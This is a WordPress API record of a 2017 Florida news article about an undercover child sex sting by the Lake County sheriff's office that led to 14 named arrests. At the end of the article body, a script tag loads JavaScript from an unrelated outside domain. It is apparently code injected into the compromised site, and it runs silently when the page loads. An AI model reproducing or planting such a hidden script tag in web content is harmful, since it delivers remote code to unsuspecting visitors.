{"id":214450,"date":"2017-08-02T17:53:47","date_gmt":"2017-08-02T21:53:47","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=214450"},"modified":"2018-01-23T16:03:06","modified_gmt":"2018-01-23T21:03:06","slug":"dozen-arrested-child-sex-sting-operation","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/dozen-arrested-child-sex-sting-operation\/","title":{"rendered":"More Than a Dozen Arrested in Child Sex Sting Operation"},"content":{"rendered":"<p><strong>TAVARES, Fla. \u2013<\/strong> They thought they were traveling to have sex with who they thought were young children. Instead, they were met by grown law enforcement officers and arrested.<\/p>\n<p>More than a dozen suspects were taken into custody during a week-long undercover operation by the Lake County sheriff&#8217;s Cyber Crimes Unit that targeted those going online attempting to meet children for sexual activity.<\/p>\n<p>The operation, dubbed Treasure Florida&#8217;s Kids II, resulted in 14 arrests for various sex-related crimes, according to a press release issued Wednesday morning by the sheriff\u2019s office.<\/p>\n<p>\u201cWe\u2019re just trying to protect our most vulnerable assets, our children,\u201d said sheriff\u2019s spokesman Lt. John Herrell, during an interview Wednesday morning.<\/p>\n<p>He said those arrested were mostly from Lake County, but the list included a Universal Studios cook and an Orange County instructor.<\/p>\n<p>Herrell said that detectives conducted the operation from their office, during which time they posed online as a 13-, 14-, or 15-year-old child.<\/p>\n<p>Herrell said he couldn\u2019t identify the locations that the undercover detectives met the suspects, but added they were mostly in the Eustis, Mount Dora and Tavares area.<\/p>\n<p>Some of the suspects brought condoms and alcoholic beverages with them.<\/p>\n<p>Three vehicles were seized in the operation.<\/p>\n<p>One suspect was arrested at his home after soliciting the detective.<\/p>\n<p>The suspects arrested were Bernard Baden, Charles Morgan II, Christian Aviles-Rivera, Habib Sebaiha, Jason Sellards, John Wright, Joshua Acevedo, Juan Estrada, Kenneth Fuller, Matthew Kinney, Samuel Fontanez, Singillyon Burgess, Stacey Ely and Jamie Ziegler.<\/p>\n<p>The operation also included officials from the Florida Department of Law Enforcement and other member agencies of the Internet Crimes Against Children Task Force.<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>More than a dozen suspects arrested in undercover child sex sting operation dubbed Treasure Florida&#8217;s Kids II.<\/p>\n","protected":false},"author":26806,"featured_media":214454,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"wds_primary_category":0,"footnotes":""},"categories":[3244,6,1],"tags":[214,568,57,79,750,1415,2546,1200,2888,2326],"class_list":["post-214450","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-arrests","category-lake-county","category-local","tag-child","tag-children","tag-florida","tag-lake","tag-lcso","tag-minor","tag-sex","tag-sting","tag-treasure","tag-undercover","entry","rows"],"jetpack_featured_media_url":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-content\/uploads\/sites\/6\/2017\/08\/arrest-generic-1.jpg","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/214450","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/users\/26806"}],"replies":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/comments?post=214450"}],"version-history":[{"count":0,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/posts\/214450\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media\/214454"}],"wp:attachment":[{"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/media?parent=214450"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/categories?post=214450"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wp-json\/wp\/v2\/tags?post=214450"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}